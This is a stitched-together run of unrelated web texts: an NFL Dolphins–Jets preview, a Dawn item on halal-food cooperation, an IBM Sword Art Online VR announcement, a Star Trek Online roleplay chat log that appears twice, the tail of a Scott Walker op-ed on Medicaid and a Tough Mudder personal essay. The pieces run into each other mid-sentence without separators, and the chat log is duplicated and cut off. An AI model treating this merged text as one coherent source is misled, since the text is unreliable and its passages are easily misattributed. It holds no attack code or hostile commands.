If the Dolphins are legit, they will establish Bush and their ground game on the road against a Jets defense ranked 30th against the run. The combination of running well and stopping the run has kept Miami in nearly every game this season.
If the Dolphins are legit, Tannehill will continue to show improvement after the bye. He struggled against New York’s defense in the teams' first meeting this season, throwing for just 196 yards and a costly pick-six. But Tannehill’s quarterback rating in the three games since have been 86.5, 92.3 and 112.0.
“I think he’s steadily improved each and every week,” Dolphins guard Richie Incognito said. “He’s done a really good job knowing what the defense is trying to do to us and putting us in the right protections and the right run calls.”
There are no excuses for the Dolphins, who have had two weeks to rest and prepare for their biggest rival. Miami nearly beat the Jets in the first meeting -- a 23-20 Jets overtime win in Week 3 -- and the Dolphins have seen enough tape to adjust to what went wrong.
Unlike the Jets, the Dolphins have been very fortunate with injuries and will enter this game virtually at full strength. Cornerback Richard Marshall (back) is the only player not expected to be available on Sunday. The Jets have injuries at linebacker (Bart Scott), defensive line (Sione Pouha, Kenrick Ellis) and running back (Bilal Powell and Joe McKnight).
A caveat might be the trash talk and emotion. These rivals simply don’t like each other. The back-and-forth between Dolphins players such as Bush and center Mike Pouncey and Jets players such as LaRon Landry and Aaron Maybin has made for a fun week. Landry has gone as far as to guarantee a win for the Jets.
Whether the trash talk leads to rough play remains to be seen.
“I go back to the game I saw on September 23 [and] it was a hard fought game by both teams,” Philbin said. “I didn’t think it was a dirty game. Players played hard, and I suspect that will be what happens this time around.”
The Dolphins have another thing going for them: Miami has never suffered a season sweep versus the Jets under Ryan. The Dolphins will be motivated not to let their biggest rival accomplish that feat.
“We know who we’re playing. This is a good football team,” Ryan said. “The fact that we’ve never beat them twice, that kind of gives us energy. The fact that we can go 3-1 in our division with two wins over Miami, that would be huge. So we see it as a real possibility.”
If the Dolphins are truly a contender, they will win this game and position themselves to make a push in the second half of the season. On the other hand, a loss by the Dolphins would throw them back in the pack of mediocre, sub-.500 teams.
It’s time for Miami to make its choice.LAHORE: The Republic of Tatarstan is ready to work with Pakistan for promoting halal food, its Deputy Minister for Industry and Trade Denis Vgleen said on Monday.
Talking to Dawn on the sidelines of the inaugural ceremony of the sixth two-day International Halal Conference and Exhibition, Mr Vgleen said he didn’t consider halal food on the basis of religion as it was also hygienic and of good quality.
He said Tatarstan, which has no laws on halal food at present, was preparing to introduce a law after obtaining approval from its federal authorities. “If it happens, we will be able to do a lot for the promotion of the halal sector,” he said. “That’s why we have stationed our representative in Pakistan.”
The deputy minister said his country wanted to strengthen relations with Pakistan by working together in other sectors as well. Speaking on the occasion, provincial minister for livestock and dairy development, Saeed Manais, said Pakistan had a capacity to become a kitchen of halal and hygienic food for the world.
He said the government was working to promote the halal sector in Pakistan as well as other countries.
Punjab Food Minister Bilal Yasin said that since the concept of halal food was becoming more common, Pakistan could earn a distinguished name in the world for its range of halal food products.
During the event, halal food experts and officials representing various countries including Malaysia, Indonesia, Russia, Tatarstan, the United Kingdom, Turkey and some Middle Eastern nations presented their research papers.
They also agreed on promoting halal food exports in collaboration with Pakistan. It was agreed that as many as 40 businessmen from the sector, who also attended the inaugural ceremony, would soon visit Pakistan.
Published in Dawn, April 11th, 2017Fans of Sword Art Online, your biggest dream might just be about to come true. Triggered by technology giant IBM, Sword Art Online: The Beginning is an upcoming virtual reality (VR) MMORPG which will be tested in a secret location in Tokyo from 18 March to 20 March. Only 208 applicants will be selected for this project, and I expect Sword Art Online fans to flood the registration page.
IBM will use a cognitive system, known as IBM Watson, which “uses natural language processing and machine learning to reveal insights from large amounts of unstructured data.” Also in the fray is SoftLayer, IBM’s cloud computing subsidiary which will most probably host the massive virtual reality world of Sword Art Online. Hopefully this is a full-fledged project, and not just a technical test. |
come and go with some regularity... dissolving when they get too obvious, reforming under a new name." Yunners@Yunners sits in a chair. [Local] Valery@Roffhessa: Or finally pissing off the wrong people to the point they decide to stomp on them hard [Local] Valery@Roffhessa: Then there was the Lovecraftians as I call them...don't ask Sitara@Ardhanari shrugs. "some groups are too well funded, and can easily simulate being squashed while secretly rebuilding elsewhere. It's hard to really tell at that level of espionage." [Local] Sitara@Ardhanari: "Personally, I hope you were successful, but black-ops groups are like earth cockroaches." [Local] Valery@Roffhessa: We were. We had a lot of inside help Sitara@Ardhanari sips her drink, seems skeptical, but doesn't contradict Val [Local] Valery@Roffhessa: And those who were members but not involved in actual treason are in SI now, forming a specops group [Local] Valery@Roffhessa: So it worked out Sitara@Ardhanari nods. "Excellent, hopefully a group with better oversight." [Local] Valery@Roffhessa: For awhile at least [Local] Valery@Roffhessa: Trust me, you're lucky you've been out exploring Sitara@Ardhanari grins. "the power of secrecy corrupts. We'll see how long it lasts." Sitara@Ardhanari nods. "I'm getting that impression." [Local] Valery@Roffhessa: Oh! You seen one of those new Oddies? [Local] Sitara@Ardhanari: "although I've had some... peripheral shady shenanigans effect me as well..." [Local] Sitara@Ardhanari: "Oh, yeah, they're beautiful" smiles [Local] Valery@Roffhessa: Shaani was given one. The new Emancipator [Local] Valery@Roffhessa: Thing's practically a bloody mobile starbase [Local] Sitara@Ardhanari: "Admiral Octavia promises me I'll get one soon to replace the Sarasvati... a refit Celestial-class isn't really up to deep Gamma quadrant duty for too much longer." [Local] Valery@Roffhessa: hmmm [Local] Sitara@Ardhanari: "But you know how the red tape goes... I think they're saving most of them for front-line duty." [Local] Valery@Roffhessa: I can see that [Local] Sitara@Ardhanari: "You can only make them so fast. Still, I'm hoping" grins [Local] Valery@Roffhessa: They are dreadnoughts in all but name. [Local] Valery@Roffhessa: They even carry a bloody escort ship in the aft section, about the size of a Defiant [Local] Sitara@Ardhanari: yeah, but the power-conversion ratio, the thrust-to-mass ratio, the purpose built photo-emitters... it's top of the line modern." Valery@Roffhessa nods Sitara@Ardhanari grins. "And the attached escort... yes." [Local] Sitara@Ardhanari: "I'm amazed nobody thought of adding a detachable escort to the larger cruisers a long time ago" [Local] Valery@Roffhessa: Oh, there's a new Akira variant out too [Local] Sitara@Ardhanari: "You can build a much more efficient escort if you don't have to worry about crew quarters etc." [Local] Valery@Roffhessa: heh [Local] Sitara@Ardhanari: "crew can live on the larger support ship, the escort can be all guns and speed." [Local] Valery@Roffhessa: Anyway, that's all I have. Tell me about these Alierans? Sitara@Ardhanari grins "If you insist..." winks [Local] Sitara@Ardhanari: "Well, they're deep-Gamma Quadrant, they're a client-race to the Dominion, pay tribute and all that, but were unknown to the Federation until I stumbled across them about a year ago." [Local] Sitara@Ardhanari: "the Dominion never used them in the war, as they already had... more warlike allies in the Cardassians and Breen, not to mention their own Jem-Hadar." [Local] Sitara@Ardhanari: "also... I get the impression their relationship to the Dominion is very much a `we pay you to leave us alone' relationship." [Local] Sitara@Ardhanari: "They're... deeply odd. One of the big challenges was just getting the Universal Translator to work with them." [Local] Sitara@Ardhanari: "They don't have a conventional... view of linear time, for one thing, which causes linguistic havoc with basic things like tenses." [Local] Valery@Roffhessa: hmmm [Local] Leland@Mikhail_Keeling: Wave your hands in the air! Leland@Mikhail_Keeling waves his hands from side to side. [Local] Valery@Roffhessa: Weird that [Local] Sitara@Ardhanari: "they're also not... bipedal, not one of the humanoid races seeded throughout the galaxy... they're amorphous, non-skeletal." [Local] Valery@Roffhessa:...blobs? [Local] Sitara@Ardhanari: "they can... extrude... whatever limbs they require to do whatever it is they need to do." [Local] Valery@Roffhessa: hmmmm [Local] Valery@Roffhessa: amorphs [Local] Valery@Roffhessa: I've heard theories about that...sounds similar to the Lovecraftians... [Local] Valery@Roffhessa:... Sitara@Ardhanari nods. "Not blobs, exactly, just... really amazingly complex musculature systems that aren't attached to skeletal frames." [Local] Valery@Roffhessa: hmmmm [Local] Valery@Roffhessa: Sounds like shoggoths, heh [Local] Valery@Roffhessa: But nicer [Local] Sitara@Ardhanari: "They can't change shape quickly, but given time they can take whatever general form they need to." Valery@Roffhessa nods [Local] Sitara@Ardhanari: "and they can't change surface texture or reflectivity like a Changeling can... they have the same rough gray skin no matter what shape they take." [Local] Valery@Roffhessa: They sound fascinating [Local] Sitara@Ardhanari: "and the same lamprey-like circular mouth." [Local] Valery@Roffhessa:...lamprey...*shudder* [Local] Sitara@Ardhanari: "So they're not true shapeshifters, they're just... amorphous. Yeah, they're pretty interesting. It's the culture that has posed the biggest challenge, which is why Starfleet has made me an ambassador [Local] Sitara@Ardhanari: "every time I go back through the wormhole, I have to spend at least a few weeks with them, advancing Starfleet's interests, so my time is only half exploration nowadays." [Local] Valery@Roffhessa: Ow, that stinks. I know how you love being out in the black Sitara@Ardhanari smiles, shrugs. "Yeah... and frankly, diplomacy was Hanza Xian's thing... I feel like the brass are getting lazy, falling back on Xian's past memories rather than sending a real diplomat." Agouti@atquick sits in the captain's chair. [Local] Valery@Roffhessa: Well, it kind of makes sense [Local] Sitara@Ardhanari: "But then again, they don't have a lot of ships doing gamma quadrant exploration, so I guess they make do with what they have in the area." [Local] Valery@Roffhessa: On the other hand Jadzia wasn't Curzon, heh. [Local] Sitara@Ardhanari: "It's not too bad. Fortunately the Alierans are.. intellectually challenging to negotiate with, so I'm not bored." [Local] Valery@Roffhessa: Well that's a good thing Sitara@Ardhanari smirks. "And Sitara isn't Hanza... not even close." [Local] Sitara@Ardhanari: "but I make do." Valery@Roffhessa raises her glass, "Wouldn't want you to be, either." Sitara@Ardhanari chuckles. "No, you probably wouldn't." clinks her glass with Val's [Local] Valery@Roffhessa: Oh! You remember that idiot scoodian bint that used to chase me around here? [Local] Sitara@Ardhanari: "Hanza was kind of a jerk when it came to women." Valery@Roffhessa chuckles Sitara@Ardhanari concentrates... "vaguely... Oh yeah, the pink-skinned one right?" [Local] Valery@Roffhessa: Aye [Local] Valery@Roffhessa: Well, my cousin, in the midst of her issues, caught her [Local] Valery@Roffhessa:...then took her to that weird spatial anomaly near here. The one that shrinks people? Sitara@Ardhanari raises her eyebrows, seeing where this is going, grins. [Local] Valery@Roffhessa: Stuck her in a bloody cage and gave her to me as a gift! [Local] Sitara@Ardhanari: "do you have a mini-scoodian pal now?" Valery@Roffhessa rubs her temples, "Well...the bloody thing is that's SEVERELY against the regs and laws and all that Sitara@Ardhanari chuckles, shakes her head. "Well, I imagine you had to let her own... anti-slavery laws and all that... still, that's pretty hilarious." [Local] Valery@Roffhessa: Oh no, I'm not even HALF done Sitara@Ardhanari grins, sips her drink in anticipation [Local] Valery@Roffhessa: So we contact them through channels...turns out the scoodian bird's own lackey staged a coup in her absence, crowned himself Emperor...and told us it was okay, we can keep her. Sitara@Ardhanari snorts at the concept of a "scoodian emperor" Sitara@Ardhanari grins [Local] Valery@Roffhessa:...they even signed a peace treaty with us making her current state part of our side of the bargain! [Local] Valery@Roffhessa: It was the one bit they wouldn't back down on! [Local] Sitara@Ardhanari: "Oh dear, the Federation has rules about political prisoners...." [Local] Valery@Roffhessa: We tried explaining that! [Local] Sitara@Ardhanari: "Ok, now this is sounding like a major diplomatic incident..." chuckles [Local] Valery@Roffhessa: Well...the Scoodians are such a minor power in the Empire...and we've got so many other major issues to work with...and she's such a menace... [Local] Valery@Roffhessa: That the diplomatic corps told me to deal with it as I saw fit [Local] Valery@Roffhessa:...so now I have a tiny scoodian who hates my guts in a birdcage in my office. Valery@Roffhessa rubs her temples [Local] Sitara@Ardhanari: "Fires, that sounds... less fun now." [Local] Sitara@Ardhanari: "What are you going to do with her?" [Local] Dezhe@DezheMilvi: shoot her out your party popper! [Local] Valery@Roffhessa: That's the odd thing, she seems bloody happy! Sitara@Ardhanari shakes her head. "I... really have no idea what to say about that. I've never really had dealings with that species." [Local] Valery@Roffhessa: Except for the random ranting about my doom Moklor@Mikhail_Keeling does the Robot for Moklor. Agouti@atquick does the Robot! [Local] Valery@Roffhessa: Oh God...they are the most ridiculous people. Valery@Roffhessa downs the rest of her milkshake Sitara@Ardhanari grins bemusedly, finishes her own gin and tonic... [Local] Sitara@Ardhanari: "Your life is nothing if not... interesting." grins [Local] Valery@Roffhessa: Give me boring for a month [Local] Valery@Roffhessa: And I'll be head over heels [Local] Sitara@Ardhanari: "Heh. Come out on a deep-space survey mission with me then... it's boring about 95% of the time." [Local] Sitara@Ardhanari: "It's that other 5% that... makes you wonder if you're going to survive to return home" grins [Local] Valery@Roffhessa: Oh no thank you. I get enough of that staring down guns than wondering whether or not a spatial anomaly is going to kill me in new and horrifying ways Sitara@Ardhanari chuckles. [Local] Valery@Roffhessa: I'm perfectly content with leaving the exploring to you mad people [Local] Valery@Roffhessa: Someone's got to mind the store while you're out, anyway [Local] Sitara@Ardhanari: "Hey, if they give me a new odyssey I'll consider it worth it" grins [Local] Valery@Roffhessa: They do have a science variant [Local] Sitara@Ardhanari: "Yeah, and an assault variant... I think the Operations variant is more appropriate for the vagaries of initial exploration. They can send the science ships once I've found something new." grins Valery@Roffhessa nods [Local] Sitara@Ardhanari: "Which isn't to say I won't ask for ALL the upgrades" [Local] Valery@Roffhessa: heh [Local] Sitara@Ardhanari: "too many threats, too many fronts, too few ships, you know the deal." [Local] Sitara@Ardhanari: "but it's not like I'm asking for an assault cruiser or anything." Valery@Roffhessa nods [Local] Sitara@Ardhanari: "also, frankly, my First Officer could use her own command, and I know she's fond of the Sarasvati. I kind of want to leave it to her." [Local] Sitara@Ardhanari: "There aren't a lot of Bolian Captains out there, but she deserves the promotion." [Local] Valery@Roffhessa: They gave the Lively to my XO [Local] Valery@Roffhessa: So it's got precedent Sitara@Ardhanari nods. "Not uncommon from what I can tell, for a Captain to move on to a new command and the First Officer or some other high-ranking subordinate takes command of the old ship." [Local] Sitara@Ardhanari: "I've done it once already with the Damayanti, my old Galaxy class... gave it to my Vulcan First Officer, who, I hear, is still doing well out in Gamma Orionis." Valery@Roffhessa orders another milkshake [Local] Valery@Roffhessa: hmmm Sitara@Ardhanari orders coffee, black, looks around. "This place is kind of dead... a lot quieter than I remember." [Local] Valery@Roffhessa: hmmm, Shaani's got a bar... Sitara@Ardhanari raises her eyebrows. "Really? Running Orion colonies AND being a part-time bartender?" grins
RAW Paste Data
http://imgur.com/a/qGT2E#0 **Valery (left) and Sitara (right)*** [RedditChat] Shissh@Gadzooks149: nah man... Drozana, not even once [RedditChat] Dienne@Dennet: I heard that it's like Goldshire of STO. [RedditChat] Dienne@Dennet: True or Very True? [RedditChat] Yunners@Yunners: I've heard the kind of things that go on in there.... feline things.. [RedditChat] Leland@Mikhail_Keeling: goddamnit [RedditChat] Leland@Mikhail_Keeling: i blink and poof, cat person [RedditChat] Agouti@atquick: Meow [RedditChat] Yunners@Yunners: So I see. Sitara@Ardhanari nods, sips her drink. "Official business then?" [Local] Valery@Roffhessa: Medical emergency [Local] Sitara@Ardhanari: "Oh... I won't pry if it's personal." [Local] Irdros@AdamJC: ~listening to the conversation, drinking his sinthale~ [Local] Valery@Roffhessa: Wasn't me. My cousin Ally is Joined [RedditChat] Yunners@Yunners: Away! Foul beastie! [Local] Agouti@atquick: D: [Local] Sitara@Ardhanari: "Oh... complications with the Joining?" [Local] Valery@Roffhessa: She's been Joined awhile, but there's a hereditary condition we've discovered recently [Local] Valery@Roffhessa: Her sister is joined as well, and...it wasn't pretty Sitara@Ardhanari winces. "Ah, the Commission frowns on surprise hereditary conditions in those chose for Joining. Sorry to hear it." [Local] Valery@Roffhessa: Yeah Valery@Roffhessa sips her milkshake [Local] Valery@Roffhessa: I'm worried that Norvu might be at risk [Local] Sitara@Ardhanari: "Well... sorry to bring up a painful subject." smiles softly. "I'm afraid I don't have a lot of gossip. I could talk about the Alieran's culture and physiology at length, but that's only really... [Local] Sitara@Ardhanari: fascinating to me, as they're the only First Contact species I've encountered thus far." [Local] Valery@Roffhessa: ((bloody phonecall)) Leland@Mikhail_Keeling shows Agouti his knowledge of a variety of dance styles. [Local] Valery@Roffhessa: Heh, better news than we have [Local] Valery@Roffhessa: Other than the war with the Klingons winding down. Agouti@atquick mixes things up a little! Sitara@Ardhanari smiles. "Yeah, I've been hearing about that... about time, really." [Local] Sitara@Ardhanari: "There was never much point in that war in the first place other than... politicians being stubborn." [Local] Sitara@Ardhanari: "Certainly no point once the Borg and others became such threats." [Local] Valery@Roffhessa:...well, with the Borg invading Syndicate space and everywhere else...not to mention all the other threats popping up Sitara@Ardhanari nods. "It would take an idiot not to realize that the Federation and the Empire need to at least cooperate." Valery@Roffhessa rubs her face, "And now the Tholians are raiding our starbases along that border...or engaging in general acts of piracy." Sitara@Ardhanari winces. "Tholians... we haven't had to worry about them in... centuries. I wonder what made them pop up again." Valery@Roffhessa frowns at her drink, "I have no idea [Local] Sitara@Ardhanari: "I heard some rumors that they'd made some incursions into the neutral zone." [Local] Sitara@Ardhanari: "Out near Drozana." [Local] Valery@Roffhessa: They aren't rumors [Local] Valery@Roffhessa: My old command's been in four different scraps with them [Local] Valery@Roffhessa: So far we're coming out on top [Local] Sitara@Ardhanari: "Makes me happy that things with the Dominion, at least, are quiet... the Gamma Quadrant may not be safe or boring, but at least it's not actively at war with us." Valery@Roffhessa chuckles [Local] Valery@Roffhessa: Oh you missed it, then [Local] Sitara@Ardhanari: "Oh, I heard about that... unfortunate time-travel incident here on DS9 recently..." [Local] Valery@Roffhessa: We were having peace talks with us, the Cardassians, the Klingon Empire, and the Deferi at the same moment [Local] Sitara@Ardhanari: "I was stuck on the other side of the wormhole when all that went down." [Local] Valery@Roffhessa: I was right in the middle of it [Local] Valery@Roffhessa: Bloody mess Sitara@Ardhanari grins. "Sounds... exciting, if unfortunately messy." [Local] Valery@Roffhessa: The Founders could have explained the damned situation to them [Local] Valery@Roffhessa: A lot of good people died for no reason, if you ask me. [Local] Sitara@Ardhanari: "Well, most of them were on the wrong side of the wormhole also..." [Local] Sitara@Ardhanari: "Imani told me that we found a Founder on this side, though, willing to talk things down." [Local] Valery@Roffhessa: They had that Jemmie fleet in the wormhole. They could have told them, "Hey, don't frell shite up. It won't be cool." [Local] Valery@Roffhessa: Or punt them out the OTHER end of the bloody wormhole [Local] Valery@Roffhessa:...or anywhere else Sitara@Ardhanari shrugs. "I'm not aware of the specifics. I just know that communication to and from the Gamma quadrant is hard, except by actually going through the wormhole." [Local] Valery@Roffhessa:...right on top of the Romulan Capital would have been handy... Sitara@Ardhanari frowns, then understands. "Oh, are you referring to the Prophets?" [Local] Sitara@Ardhanari: "Yeah, who knows what those things are thinking." Sitara@Ardhanari glances around to make sure she hasn't offended any Bajorans [Local] Valery@Roffhessa: And to think I once thought of converting *snorts* [Local] Valery@Roffhessa: Ah well...let's see... [Local] Valery@Roffhessa: Oh, a certain group is no more...after manipulating a former aide of mine to shoot Kat [Local] Valery@Roffhessa: Kat's fine, though Sitara@Ardhanari sighs, sips her drink. "Kat gets shot at a lot. She should be more careful." [Local] Valery@Roffhessa:...she was at a football game Sitara@Ardhanari winces. "Well, only so careful you can be I guess." [Local] Sitara@Ardhanari: "who did she piss off this time?" [Local] Valery@Roffhessa:...well...she wasn't blown up for once Sitara@Ardhanari winces. "Well, only so careful you can be I guess." [Local] Sitara@Ardhanari: "who did she piss off this time?" [Local] Valery@Roffhessa:...well...she wasn't blown up for once [Local] Valery@Roffhessa: Old employer [Local] Sitara@Ardhanari: "Ah, black ops, spooky, intelligence stuff I gather." Valery@Roffhessa nods [Local] Valery@Roffhessa: T [Local] Valery@Roffhessa: They aren't around anymore, though Sitara@Ardhanari nods, shrugs. "I gather those sorts of groups come and go with some regularity... dissolving when they get too obvious, reforming under a new name." Yunners@Yunners sits in a chair. [Local] Valery@Roffhessa: Or finally pissing off the wrong people to the point they decide to stomp on them hard [Local] Valery@Roffhessa: Then there was the Lovecraftians as I call them...don't ask Sitara@Ardhanari shrugs. "some groups are too well funded, and can easily simulate being squashed while secretly rebuilding elsewhere. It's hard to really tell at that level of espionage." [Local] Sitara@Ardhanari: "Personally, I hope you were successful, but black-ops groups are like earth cockroaches." [Local] Valery@Roffhessa: We were. We had a lot of inside help Sitara@Ardhanari sips her drink, seems skeptical, but doesn't contradict Val [Local] Valery@Roffhessa: And those who were members but not involved in actual treason are in SI now, forming a specops group [Local] Valery@Roffhessa: So it worked out Sitara@Ardhanari nods. "Excellent, hopefully a group with better oversight." [Local] Valery@Roffhessa: For awhile at least [Local] Valery@Roffhessa: Trust me, you're lucky you've been out exploring Sitara@Ardhanari grins. "the power of secrecy corrupts. We'll see how long it lasts." Sitara@Ardhanari nods. "I'm getting that impression." [Local] Valery@Roffhessa: Oh! You seen one of those new Oddies? [Local] Sitara@Ardhanari: "although I've had some... peripheral shady shenanigans effect me as well..." [Local] Sitara@Ardhanari: "Oh, yeah, they're beautiful" smiles [Local] Valery@Roffhessa: Shaani was given one. The new Emancipator [Local] Valery@Roffhessa: Thing's practically a bloody mobile starbase [Local] Sitara@Ardhanari: "Admiral Octavia promises me I'll get one soon to replace the Sarasvati... a refit Celestial-class isn't really up to deep Gamma quadrant duty for too much longer." [Local] Valery@Roffhessa: hmmm [Local] Sitara@Ardhanari: "But you know how the red tape goes... I think they're saving most of them for front-line duty." [Local] Valery@Roffhessa: I can see that [Local] Sitara@Ardhanari: "You can only make them so fast. Still, I'm hoping" grins [Local] Valery@Roffhessa: They are dreadnoughts in all but name. [Local] Valery@Roffhessa: They even carry a bloody escort ship in the aft section, about the size of a Defiant [Local] Sitara@Ardhanari: yeah, but the power-conversion ratio, the thrust-to-mass ratio, the purpose built photo-emitters... it's top of the line modern." Valery@Roffhessa nods Sitara@Ardhanari grins. "And the attached escort... yes." [Local] Sitara@Ardhanari: "I'm amazed nobody thought of adding a detachable escort to the larger cruisers a long time ago" [Local] Valery@Roffhessa: Oh, there's a new Akira variant out too [Local] Sitara@Ardhanari: "You can build a much more efficient escort if you don't have to worry about crew quarters etc." [Local] Valery@Roffhessa: heh [Local] Sitara@Ardhanari: "crew can live on the larger support ship, the escort can be all guns and speed." [Local] Valery@Roffhessa: Anyway, that's all I have. Tell me about these Alierans? Sitara@Ardhanari grins "If you insist..." winks [Local] Sitara@Ardhanari: "Well, they're deep-Gamma Quadrant, they're a client-race to the Dominion, pay tribute and all that, but were unknown to the Federation until I stumbled across them about a year ago." [Local] Sitara@Ardhanari: "the Dominion never used them in the war, as they already had... more warlike allies in the Cardassians and Breen, not to mention their own Jem-Hadar." [Local] Sitara@Ardhanari: "also... I get the impression their relationship to the Dominion is very much a `we pay you to leave us alone' relationship." [Local] Sitara@Ardhanari: "They're... deeply odd. One of the big challenges was just getting the Universal Translator to work with them." [Local] Sitara@Ardhanari: "They don't have a conventional... view of linear time, for one thing, which causes linguistic havoc with basic things like tenses." [Local] Valery@Roffhessa: hmmm [Local] Leland@Mikhail_Keeling: Wave your hands in the air! Leland@Mikhail_Keeling waves his hands from side to side. [Local] Valery@Roffhessa: Weird that [Local] Sitara@Ardhanari: "they're also not... bipedal, not one of the humanoid races seeded throughout the galaxy... they're amorphous, non-skeletal." [Local] Valery@Roffhessa:...blobs? [Local] Sitara@Ardhanari: "they can... extrude... whatever limbs they require to do whatever it is they need to do." [Local] Valery@Roffhessa: hmmmm [Local] Valery@Roffhessa: amorphs [Local] Valery@Roffhessa: I've heard theories about that...sounds similar to the Lovecraftians... [Local] Valery@Roffhessa:... Sitara@Ardhanari nods. "Not blobs, exactly, just... really amazingly complex musculature systems that aren't attached to skeletal frames." [Local] Valery@Roffhessa: hmmmm [Local] Valery@Roffhessa: Sounds like shoggoths, heh [Local] Valery@Roffhessa: But nicer [Local] Sitara@Ardhanari: "They can't change shape quickly, but given time they can take whatever general form they need to." Valery@Roffhessa nods [Local] Sitara@Ardhanari: "and they can't change surface texture or reflectivity like a Changeling can... they have the same rough gray skin no matter what shape they take." [Local] Valery@Roffhessa: They sound fascinating [Local] Sitara@Ardhanari: "and the same lamprey-like circular mouth." [Local] Valery@Roffhessa:...lamprey...*shudder* [Local] Sitara@Ardhanari: "So they're not true shapeshifters, they're just... amorphous. Yeah, they're pretty interesting. It's the culture that has posed the biggest challenge, which is why Starfleet has made me an ambassador [Local] Sitara@Ardhanari: "every time I go back through the wormhole, I have to spend at least a few weeks with them, advancing Starfleet's interests, so my time is only half exploration nowadays." [Local] Valery@Roffhessa: Ow, that stinks. I know how you love being out in the black Sitara@Ardhanari smiles, shrugs. "Yeah... and frankly, diplomacy was Hanza Xian's thing... I feel like the brass are getting lazy, falling back on Xian's past memories rather than sending a real diplomat." Agouti@atquick sits in the captain's chair. [Local] Valery@Roffhessa: Well, it kind of makes sense [Local] Sitara@Ardhanari: "But then again, they don't have a lot of ships doing gamma quadrant exploration, so I guess they make do with what they have in the area." [Local] Valery@Roffhessa: On the other hand Jadzia wasn't Curzon, heh. [Local] Sitara@Ardhanari: "It's not too bad. Fortunately the Alierans are.. intellectually challenging to negotiate with, so I'm not bored." [Local] Valery@Roffhessa: Well that's a good thing Sitara@Ardhanari smirks. "And Sitara isn't Hanza... not even close." [Local] Sitara@Ardhanari: "but I make do." Valery@Roffhessa raises her glass, "Wouldn't want you to be, either." Sitara@Ardhanari chuckles. "No, you probably wouldn't." clinks her glass with Val's [Local] Valery@Roffhessa: Oh! You remember that idiot scoodian bint that used to chase me around here? [Local] Sitara@Ardhanari: "Hanza was kind of a jerk when it came to women." Valery@Roffhessa chuckles Sitara@Ardhanari concentrates... "vaguely... Oh yeah, the pink-skinned one right?" [Local] Valery@Roffhessa: Aye [Local] Valery@Roffhessa: Well, my cousin, in the midst of her issues, caught her [Local] Valery@Roffhessa:...then took her to that weird spatial anomaly near here. The one that shrinks people? Sitara@Ardhanari raises her eyebrows, seeing where this is going, grins. [Local] Valery@Roffhessa: Stuck her in a bloody cage and gave her to me as a gift! [Local] Sitara@Ardhanari: "do you have a mini-scoodian pal now?" Valery@Roffhessa rubs her temples, "Well...the bloody thing is that's SEVERELY against the regs and laws and all that Sitara@Ardhanari chuckles, shakes her head. "Well, I imagine you had to let her own... anti-slavery laws and all that... still, that's pretty hilarious." [Local] Valery@Roffhessa: Oh no, I'm not even HALF done Sitara@Ardhanari grins, sips her drink in anticipation [Local] Valery@Roffhessa: So we contact them through channels...turns out the scoodian bird's own lackey staged a coup in her absence, crowned himself Emperor...and told us it was okay, we can keep her. Sitara@Ardhanari snorts at the concept of a "scoodian emperor" Sitara@Ardhanari grins [Local] Valery@Roffhessa:...they even signed a peace treaty with us making her current state part of our side of the bargain! [Local] Valery@Roffhessa: It was the one bit they wouldn't back down on! [Local] Sitara@Ardhanari: "Oh dear, the Federation has rules about political prisoners...." [Local] Valery@Roffhessa: We tried explaining that! [Local] Sitara@Ardhanari: "Ok, now this is sounding like a major diplomatic incident..." chuckles [Local] Valery@Roffhessa: Well...the Scoodians are such a minor power in the Empire...and we've got so many other major issues to work with...and she's such a menace... [Local] Valery@Roffhessa: That the diplomatic corps told me to deal with it as I saw fit [Local] Valery@Roffhessa:...so now I have a tiny scoodian who hates my guts in a birdcage in my office. Valery@Roffhessa rubs her temples [Local] Sitara@Ardhanari: "Fires, that sounds... less fun now." [Local] Sitara@Ardhanari: "What are you going to do with her?" [Local] Dezhe@DezheMilvi: shoot her out your party popper! [Local] Valery@Roffhessa: That's the odd thing, she seems bloody happy! Sitara@Ardhanari shakes her |
the states and, more importantly, to the people.
Wisconsin chose not to take the Obamacare Medicaid expansion and not to set up a state exchange. Instead, we moved to cover everyone living in poverty through Medicaid for the first time in our history, while transitioning those above poverty into the marketplace. Today, Wisconsin is the only state in the top 10 for health insurance coverage that did not take the expansion, and a recent report ranks Wisconsin as the number one state in the nation for healthcare quality.
The Wisconsin Way is much better than the mess created by Obamacare.
Adequately-funded flexible block grants to the states are the last, best hope to finally repeal and replace Obamacare, a program which is collapsing before our very eyes. I stand ready to work with the president, his administration, and members of the House and Senate to draft and pass this better way forward.
Gov. Scott Walker, R-Wis., is the 45th governor of Wisconsin and chairman of the Republican Governors Association.
If you would like to write an op-ed for the Washington Examiner, please read our guidelines on submissions.Endurance events might sound painful, but they can transform your life.
–––
If you’re anything like me, the idea of climbing a mountain four times in a single day may sound unpleasant. The idea of climbing that same mountain while caked in manure, getting shocked by 10,000 volts, trudging through a tank filled with ice, and sliding through a wall of fire may sound more like torture. And yet, not only did I somehow survive this very scenario, I volunteered for it. In fact, I paid several hundred dollars for it! And to be honest, it was an experience I would never give up.
Tough Mudder and other endurance events have been growing in popularity since their introduction in 1986. Registrants pay entrance fees, usually at least a hundred dollars, to submit their body to extreme physical tests most people wouldn’t dream of attempting. At first, the idea and it’s wildfire-success seem unusual. Why would people pay to torture themselves? It turns out the event presents a unique challenge and an even more unique reward which makes the cost seem like a trivial consideration.
Don’t like ads? Become a supporter and enjoy The Good Men Project ad free
When a coworker first told me about Tough Mudder, I was immediately intrigued. Not because I knew any of the details or obstacles I would be facing, but simply because I was bored. At the time I was working an entry-level job in a cubicle that changed very little day-to-day. I was lucky enough to find employment right out of college, but it was nothing challenging and my average day often turned into a race to 5 o’clock. The novel prospect of a physical challenge that would require training and preparation was just what I needed to spice up my otherwise boring life.
I felt more connected to my community and myself, these little benefits I hadn’t anticipated were pleasant surprises.
And so I trained. I brought shorts to work and every day at lunch I would tie my running shoes and take to the streets of Manchester. This daily training not only prepared me for the challenge ahead, it made me healthier and it allowed me to explore, on foot, new neighborhoods of my city that I otherwise would never have seen. I felt more connected to my community and myself, these little benefits I hadn’t anticipated were pleasant surprises. I soon came to enjoy the habit of training more than I ever would have expected. Yet even though I was running on a daily basis and enjoying it, I was only logging a few miles per day and the 13-mile, mountainous trek was about to prove me woefully unprepared.
Standing at the foot of Mount Snow surrounded by people who seemed to be leagues beyond my fitness level was at first disheartening. Half of the group seemed to be former or current military (Tough Mudder is a supporter of the Wounded Warrior Project) and the other half appeared to be human machines who spent every waking hour running, lifting, and pounding protein shakes. Looking up from these fine specimens of humanity, I saw a double-black-diamond ski mountain that I doubted I could climb once, let alone four times consecutively. The entire thing seemed like an insurmountable challenge, and more than that: a mistake. A knot formed in my stomach.
